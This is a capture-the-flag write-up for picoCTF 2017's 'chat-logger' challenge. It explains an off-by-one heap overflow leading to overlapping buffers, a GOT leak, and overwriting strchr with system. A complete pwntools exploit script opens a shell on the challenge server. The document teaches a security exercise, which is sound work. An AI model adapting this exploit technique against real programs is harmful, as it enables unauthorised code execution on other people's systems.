Writeup by hgarrereyn
- Binary Exploitation
- 200 points
- Description: You've been given admin access to the chat logs for our organization to help clean up the language. See if you can get a shell on shell2017.picoctf.com:51628. chat-logger Source
There was an off-by-one buffer overflow error in the
update_message function that allowed you to overflow a null byte into the size descriptor for a heap object.
Then you could get the program to call realloc and overflow the buffer into what it thought was empty heap space but what was actually another heap object.
Once you got overlapping buffers, you could read the GOT table, calculate the address of
system and overwrite an entry with that address.
I found it easiest to overwrite
strchr which was called in
char *newline = strchr(buf, '\n');
That essentially becomes:
char *newline = system(buf);
Then you simply enter the string
sh and you have shell.
It wasn't too hard to find the off by one error. Once I saw
malloc calls with numbers being added, I had a gut feeling there could be an off-by-one error.
It took a bit of fiddling to get the program to malloc buffers that were right next to each other.
# By Harrison Green <hgarrereyn> from pwn import * # Connect to the server sock = remote('shell2017.picoctf.com', 51628) # Helper function to consume input def n(): a = sock.recv() print(a) return a # select the last message of room #2 sock.send('find 2 funny\n') n() # Create the A buffer sock.send('add 1 ' + ('a' * 48) + '\n') n() sock.send('find 2 a\n') n() # Create the B buffer sock.send('add 1 ' + ('b' * 200) + '\n') n() sock.send('find 2 b\n') n() # Create the C buffer sock.send('add 1 ' + ('c' * 40) + '\n') n() # Overflow A # Now, the B buffer has size zero and can be overwritten # although we still retain a pointer to it sock.send('find 2 a\n') n() sock.send('edit ' + ('a' * 54) + '\n') n() # We can now overlap the A and B buffers completely. Specifically, # we will overwrite the text pointer with a GOT address in buffer B. # # If we had not done the last step, the realloc() call would return # a different pointer because there wouldn't be enough space to expand # buffer A. # # [email protected]: 0x601e60 sock.send('edit ' + ('a' * 78) + '\x5e\x1e\x60' + '\n') n() # The offset of libc functions - found by running this binary on # the webshell. # # <strchr> - 256766 = <system> offset = - 256766 # This will print out all the messages, including the pointer # to <strchr> that we set earlier. sock.send('chat 2\n') # Some pythonic magic to parse the GOT address for <strchr> chat = sock.recvuntil('ccc').split('\n') l = chat[len(chat) - 3] l2 = "".join([hex(ord(x))[2:].zfill(2) for x in l][-6:][::-1]) # Got the address print('strchr: ' + l2) # Calculate system address strchr = int(l2,16) sys = strchr + offset sys_addr = hex(sys)[2:].decode('hex') # Got system address print('system: ' + hex(sys)) # We are editing the message with a text pointer that is now # pointing into the GOT table at strchr sock.send('edit ' + sys_addr[::-1] + '\n') # Now when we send this, it will be called by system() sock.send('sh\n') # We've got shell sock.interactive()